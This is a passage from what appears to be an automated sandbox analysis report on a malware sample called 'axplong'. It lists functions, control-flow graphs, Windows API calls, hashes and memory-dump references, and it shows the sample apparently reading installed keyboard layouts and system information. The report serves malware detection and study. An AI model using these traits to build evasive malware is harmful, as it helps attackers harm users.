                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpen
                              • String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
                              • API String ID: 47109696-3963862150
                              • Opcode ID: 3aa75596eb67e833ad288c886a8f479585ae7c0d3a2a4a85f790b8dbad02b2d7
                              • Instruction ID: d38ae624ba29232f9868d35fb7c2a714e64cd5b633c4fe18dc9856931535f366
                              • Opcode Fuzzy Hash: 3aa75596eb67e833ad288c886a8f479585ae7c0d3a2a4a85f790b8dbad02b2d7
                              • Instruction Fuzzy Hash: 4602CF7190025CAFEB24DFA4CC88BEEB7B9EB14304F5042D9E509A7291DB749BC58F91
                              Function 00CE7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1894 ce7d00-ce7d82 call d14020 1898 ce827e-ce829b call cfcf21 1894->1898 1899 ce7d88-ce7db0 call cf7870 call ce5b20 1894->1899 1906 ce7db4-ce7dd6 call cf7870 call ce5b20 1899->1906 1907 ce7db2 1899->1907 1912 ce7dda-ce7df3 1906->1912 1913 ce7dd8 1906->1913 1907->1906 1916 ce7e24-ce7e4f 1912->1916 1917 ce7df5-ce7e04 1912->1917 1913->1912 1920 ce7e80-ce7ea1 1916->1920 1921 ce7e51-ce7e60 1916->1921 1918 ce7e1a-ce7e21 call cfd593 1917->1918 1919 ce7e06-ce7e14 1917->1919 1918->1916 1919->1918 1924 ce829c call d16b9a 1919->1924 1922 ce7ea7-ce7eac 1920->1922 1923 ce7ea3-ce7ea5 GetNativeSystemInfo 1920->1923 1926 ce7e76-ce7e7d call cfd593 1921->1926 1927 ce7e62-ce7e70 1921->1927 1929 ce7ead-ce7eb6 1922->1929 1923->1929 1936 ce82a1-ce82a6 call d16b9a 1924->1936 1926->1920 1927->1924 1927->1926 1934 ce7eb8-ce7ebf 1929->1934 1935 ce7ed4-ce7ed7 1929->1935 1937 ce8279 1934->1937 1938 ce7ec5-ce7ecf 1934->1938 1939 ce821f-ce8222 1935->1939 1940 ce7edd-ce7ee6 1935->1940 1937->1898 1942 ce8274 1938->1942 1939->1937 1945 ce8224-ce822d 1939->1945 1943 ce7ee8-ce7ef4 1940->1943 1944 ce7ef9-ce7efc 1940->1944 1942->1937 1943->1942 1947 ce81fc-ce81fe 1944->1947 1948 ce7f02-ce7f09 1944->1948 1949 ce822f-ce8233 1945->1949 1950 ce8254-ce8257 1945->1950 1953 ce820c-ce820f 1947->1953 1954 ce8200-ce820a 1947->1954 1955 ce7f0f-ce7f6b call cf7870 call ce5b20 call cf7870 call ce5b20 call ce5c60 1948->1955 1956 ce7fe9-ce81e5 call cf7870 call ce5b20 call cf7870 call ce5b20 call ce5c60 call cf7870 call ce5b20 call ce5640 call cf7870 call ce5b20 call cf7870 call ce5b20 call ce5c60 call cf7870 call ce5b20 call ce5640 call cf7870 call ce5b20 call cf7870 call ce5b20 call ce5c60 call cf7870 call ce5b20 call ce5640 1948->1956 1957 ce8248-ce8252 1949->1957 1958 ce8235-ce823a 1949->1958 1951 ce8259-ce8263 1950->1951 1952 ce8265-ce8271 1950->1952 1951->1937 1952->1942 1953->1937 1962 ce8211-ce821d 1953->1962 1954->1942 1979 ce7f70-ce7f77 1955->1979 1993 ce81eb-ce81f4 1956->1993 1957->1937 1958->1957 1960 ce823c-ce8246 1958->1960 1960->1937 1962->1942 1982 ce7f7b-ce7f9b call d18a81 1979->1982 1983 ce7f79 1979->1983 1989 ce7f9d-ce7fac 1982->1989 1990 ce7fd2-ce7fd4 1982->1990 1983->1982 1994 ce7fae-ce7fbc 1989->1994 1995 ce7fc2-ce7fcf call cfd593 1989->1995 1992 ce7fda-ce7fe4 1990->1992 1990->1993 1992->1993 1993->1939 1998 ce81f6 1993->1998 1994->1936 1994->1995 1995->1990 1998->1947
                              APIs
                              • GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00CE7EA3
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoNativeSystem
                              • String ID: JmpxQb==$JmpxRL==$JmpyPb==
                              • API String ID: 1721193555-2057465332
                              • Opcode ID: db0a3e773da65586598aa887b7b2a4e260c99e72db7d5871670dc68f1e7bf1f2
                              • Instruction ID: 61fa7bdac6b042190c7b6a57628b2b88aff41ad41d676370121cac6c9abe6a4a
                              • Opcode Fuzzy Hash: db0a3e773da65586598aa887b7b2a4e260c99e72db7d5871670dc68f1e7bf1f2
                              • Instruction Fuzzy Hash: C8D10771E00688ABDF14BF69DD4B3AD7771AB42314F904288E415AB3C2DB354F859BE2
                              Function 00D16E01 Relevance: 4.6, APIs: 3, Instructions: 145COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2032 d16e01-d16e36 GetFileType 2033 d16e3c-d16e47 2032->2033 2034 d16eee-d16ef1 2032->2034 2037 d16e69-d16e85 call d14020 GetFileInformationByHandle 2033->2037 2038 d16e49-d16e5a call d17177 2033->2038 2035 d16ef3-d16ef6 2034->2035 2036 d16f1a-d16f42 2034->2036 2035->2036 2039 d16ef8-d16efa 2035->2039 2041 d16f44-d16f57 2036->2041 2042 d16f5f-d16f61 2036->2042 2045 d16f0b-d16f18 call d1740d 2037->2045 2053 d16e8b-d16ecd call d170c9 call d16f71 * 3 2037->2053 2049 d16e60-d16e67 2038->2049 2050 d16f07-d16f09 2038->2050 2039->2045 2046 d16efc-d16f01 call d17443 2039->2046 2041->2042 2055 d16f59-d16f5c 2041->2055 2044 d16f62-d16f70 call cfcf21 2042->2044 2045->2050 2046->2050 2049->2037 2050->2044 2068 d16ed2-d16eea call d17096 2053->2068 2055->2042 2068->2042 2071 d16eec 2068->2071 2071->2050
                              APIs
                              • GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00D16E23
                              • GetFileInformationByHandle.KERNEL32(?,?), ref: 00D16E7D
                              • __dosmaperr.LIBCMT ref: 00D16F12
                                • Part of subcall function 00D17177: __dosmaperr.LIBCMT ref: 00D171AC
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: File__dosmaperr$HandleInformationType
                              • String ID:
                              • API String ID: 2531987475-0
                              • Opcode ID: c03ae378662d8f4cbc477ff9e039d24b5da2ede11d90d384b2afd1a8b3429361
                              • Instruction ID: e7df2970841c0a4550778906a12df2aebf3f61bb99c84b1cf3ab2050b719f98f
                              • Opcode Fuzzy Hash: c03ae378662d8f4cbc477ff9e039d24b5da2ede11d90d384b2afd1a8b3429361
                              • Instruction Fuzzy Hash: DC413A75900204BADB24DFB5E8459EBBBF9EF89300B144529F956D3620EA31E985CB31
                              Function 00D16C99 Relevance: 3.1, APIs: 2, Instructions: 89COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2199 d16c99-d16ca5 2200 d16cc4-d16ce8 call d14020 2199->2200 2201 d16ca7-d16cc3 call d17430 call d17443 call d16b8a 2199->2201 2207 d16d06-d16d28 CreateFileW 2200->2207 2208 d16cea-d16d04 call d17430 call d17443 call d16b8a 2200->2208 2209 d16d38-d16d3f call d16d77 2207->2209 2210 d16d2a-d16d2e call d16e01 2207->2210 2230 d16d72-d16d76 2208->2230 2221 d16d40-d16d42 2209->2221 2217 d16d33-d16d36 2210->2217 2217->2221 2223 d16d64-d16d67 2221->2223 2224 d16d44-d16d61 call d14020 2221->2224 2228 d16d70 2223->2228 2229 d16d69-d16d6f CloseHandle 2223->2229 2224->2223 2228->2230 2229->2228
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 3e29f078d4a79456359d1269bef8927805527bb47dfcf1a407baabce87fdbd82
                              • Instruction ID: 60c4ec474feec7c0cf25b8b069b23c16b79ad3b735857c1f802d3ec655fa319e
                              • Opcode Fuzzy Hash: 3e29f078d4a79456359d1269bef8927805527bb47dfcf1a407baabce87fdbd82
                              • Instruction Fuzzy Hash: 8321B372A052087AEB11ABA4BC42BDF3729DF41778F254311F9242B1D1DF70DE8596B1
                              Function 00CE82B0 Relevance: 1.7, APIs: 1, Instructions: 159COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2232 ce82b0-ce8331 call d14020 2236 ce833d-ce8365 call cf7870 call ce5b20 2232->2236 2237 ce8333-ce8338 2232->2237 2245 ce8369-ce838b call cf7870 call ce5b20 2236->2245 2246 ce8367 2236->2246 2238 ce847f-ce849b call cfcf21 2237->2238 2251 ce838f-ce83a8 2245->2251 2252 ce838d 2245->2252 2246->2245 2255 ce83aa-ce83b9 2251->2255 2256 ce83d9-ce8404 2251->2256 2252->2251 2259 ce83cf-ce83d6 call cfd593 2255->2259 2260 ce83bb-ce83c9 2255->2260 2257 ce8406-ce8415 2256->2257 2258 ce8431-ce8452 2256->2258 2263 ce8427-ce842e call cfd593 2257->2263 2264 ce8417-ce8425 2257->2264 2265 ce8458-ce845d 2258->2265 2266 ce8454-ce8456 GetNativeSystemInfo 2258->2266 2259->2256 2260->2259 2261 ce849c-ce84a1 call d16b9a 2260->2261 2263->2258 2264->2261 2264->2263 2270 ce845e-ce8465 2265->2270 2266->2270 2270->2238 2274 ce8467-ce846f 2270->2274 2275 ce8478-ce847b 2274->2275 2276 ce8471-ce8476 2274->2276 2275->2238 2277 ce847d 2275->2277 2276->2238 2277->2238
                              APIs
                              • GetNativeSystemInfo.KERNEL32(?), ref: 00CE8454
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoNativeSystem
                              • String ID:
                              • API String ID: 1721193555-0
                              • Opcode ID: bf6bd2fce2364ea42b22c3b1d50acf9b5fa4d99c2f72d137055ba6e8cd4e8cd4
                              • Instruction ID: 09fcecd8f86ab2da2a3ceba0342919993d2a5dea2fa8e8023df3658940f9513f
                              • Opcode Fuzzy Hash: bf6bd2fce2364ea42b22c3b1d50acf9b5fa4d99c2f72d137055ba6e8cd4e8cd4
                              • Instruction Fuzzy Hash: 8B515971D002489BDB14EF29CD49BEDB775DB45300F5042A8E818A72D1EF359E848BA2
                              Function 00D16F71 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2278 d16f71-d16f87 2279 d16f97-d16fa7 2278->2279 2280 d16f89-d16f8d 2278->2280 2285 d16fe7-d16fea 2279->2285 2286 d16fa9-d16fbb SystemTimeToTzSpecificLocalTime 2279->2286 2280->2279 2281 d16f8f-d16f95 2280->2281 2282 d16fec-d16ff7 call cfcf21 2281->2282 2285->2282 2286->2285 2287 d16fbd-d16fdd call d16ff8 2286->2287 2290 d16fe2-d16fe5 2287->2290 2290->2282
                              APIs
                              • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D16FB3
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Time$LocalSpecificSystem
                              • String ID:
                              • API String ID: 2574697306-0
                              • Opcode ID: 7f2724807f23b853c63b699c24b7f666197360a0470f52ba377de3350c197fef
                              • Instruction ID: 046fff10f96f2c6f147b977b584d1cdade8dc447aa380197c667ef9813e0e52c
                              • Opcode Fuzzy Hash: 7f2724807f23b853c63b699c24b7f666197360a0470f52ba377de3350c197fef
                              • Instruction Fuzzy Hash: DC11C8B290020CAACB10DE95E985EEEB7BCAF08310F555266E515E6180EA71EB458B71
                              Function 00CF6AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep
                              • String ID:
                              • API String ID: 3472027048-0
                              • Opcode ID: 7b507dbc34264c763bd741e4de73c73fd30c8c3aa5cdea79323a50b19116e9c2
                              • Instruction ID: 37b56195c558767b81a3b24fa042946a200f75e2f149e5500c59795e9a785590
                              • Opcode Fuzzy Hash: 7b507dbc34264c763bd741e4de73c73fd30c8c3aa5cdea79323a50b19116e9c2
                              • Instruction Fuzzy Hash: E4F0D135E00608ABC700BB699C07B2E7B64EB07B60F800348F811A73E1DA345A049BE3
                              Function 05440B24 Relevance: .1, Instructions: 91COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2395 5440b24-5440b2f 2396 5440b31-5440b98 2395->2396 2397 5440aca-5440b1c call 5440b1e 2395->2397 2409 5440bb1-5440bc0 2396->2409 2397->2395 2411 5440bc6-5440c24 2409->2411
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: cb4a3f9e9ef0a5e5ceee0765d7e9842b87a90d467454e473a41709eab1073cf2
                              • Instruction ID: aebdbf85ece354907d7fd2b05dd525802594f32c4806cb35f13a78f3bbc8598e
                              • Opcode Fuzzy Hash: cb4a3f9e9ef0a5e5ceee0765d7e9842b87a90d467454e473a41709eab1073cf2
                              • Instruction Fuzzy Hash: 0511C8B71CD250FEB141C5D12B1CAF6776EE6D27347308867F60BCE102E2948A2B6974
                              Function 05440B55 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4226348a3e8f1e8447ea848c8dbaa591c6a5b6f33ac20a86e28a1526015584a5
                              • Instruction ID: cb9a5ba53d550dc885b573628161888c9db051cede74e602dcbca3b52b11f2cf
                              • Opcode Fuzzy Hash: 4226348a3e8f1e8447ea848c8dbaa591c6a5b6f33ac20a86e28a1526015584a5
                              • Instruction Fuzzy Hash: 26F0F9F248D2D09EF342CAB4161C5F13FAAD59633431448A7F14ACF503D144492B8A34
                              Function 05440B3E Relevance: .1, Instructions: 52COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 81b24a108e02ca7f6d3b6ddb0890a6ca4bb2c67fb939f059267055bfdcb1d051
                              • Instruction ID: 5273f9db2e8b79b54c7e47e41959003bc12aabab1a3e93e2a649ea25630cadd8
                              • Opcode Fuzzy Hash: 81b24a108e02ca7f6d3b6ddb0890a6ca4bb2c67fb939f059267055bfdcb1d051
                              • Instruction Fuzzy Hash: C4F024B71DC250EE7101C1D12B6CEF223AFE2D03383308867F20BCE502E2448A2B5838
                              Function 05440B1E Relevance: .0, Instructions: 49COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d50e6b5c336aad762c8a3ed838d24229072b6899b8c1aec1be83c3299ce04562
                              • Instruction ID: 99c1b7f461d7b06e66492d2679aecf453d108160774fab4a4da505db7561c082
                              • Opcode Fuzzy Hash: d50e6b5c336aad762c8a3ed838d24229072b6899b8c1aec1be83c3299ce04562
                              • Instruction Fuzzy Hash: 5DF03AB61DC290EE7141C6C12B5CEF663AFA6D47387308867F60FCE502D2548A2B6939
                              Function 05440B9D Relevance: .0, Instructions: 40COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5a3a3e2468b4ac88f54b71c43620d82b257ab9e08ca9e08fde474ffccfb1b44b
                              • Instruction ID: aad144312e0baa09a2deb04cd414926500c7b2a4d782b7fd13116207e10d7a94
                              • Opcode Fuzzy Hash: 5a3a3e2468b4ac88f54b71c43620d82b257ab9e08ca9e08fde474ffccfb1b44b
                              • Instruction Fuzzy Hash: 18E0E5B25CC261EFB250DAE12B1C6FB73BAF6D1330730882BF10BCA001D265462B5935
                              Function 05440B7C Relevance: .0, Instructions: 35COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d366b9e1be30302e807d9214c4a25c5603549adfa7b2e94ce36c4a1c1540472f
                              • Instruction ID: 12e55ca23d6974a964e8499413306dd97edd76e5c42751daee6596c0781d512e
                              • Opcode Fuzzy Hash: d366b9e1be30302e807d9214c4a25c5603549adfa7b2e94ce36c4a1c1540472f
                              • Instruction Fuzzy Hash: 07E0DFB229C150EDB044C6813B1CAF663AAE2C0738370881BF20BCC002E6594A2B5835
                              Function 05440B8C Relevance: .0, Instructions: 32COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d947e3cde00afe5b744759a4abc6de305dc80eb2068656987c038416c6c527b1
                              • Instruction ID: 183c68b83fe681599076393cac1a6305babd3eaddc116768d49d848ccf5e86c3
                              • Opcode Fuzzy Hash: d947e3cde00afe5b744759a4abc6de305dc80eb2068656987c038416c6c527b1
                              • Instruction Fuzzy Hash: 77E0C2B71CC161EE7204C6D13B2CAFA93AEE5C0334370882BF60BCD001D258462B6835
                              Function 05440BBB Relevance: .0, Instructions: 24COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4189982065.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_5440000_axplong.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 68fd35cc89dd4c79225153ebc831620a3907820bf7736869c322099a1bfce379
                              • Instruction ID: bcf26f5797d1ac672a50b1f3ee85c2635a0222b501645ae3e993576d997b8139
                              • Opcode Fuzzy Hash: 68fd35cc89dd4c79225153ebc831620a3907820bf7736869c322099a1bfce379
                              • Instruction Fuzzy Hash: FCD0C9BB59C060ED7044C2D23B2CBFB53BEE1D0721370846BFA0BC8401D7598A2BA936

                              Non-executed Functions

                              Function 00CEE440 Relevance: 36.2, APIs: 2, Strings: 17, Instructions: 2960COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00CF7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00CF795C
                                • Part of subcall function 00CF7870: __Cnd_destroy_in_situ.LIBCPMT ref: 00CF7968
                                • Part of subcall function 00CF7870: __Mtx_destroy_in_situ.LIBCPMT ref: 00CF7971
                              • std::_Xinvalid_argument.LIBCPMT ref: 00CF07C5
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
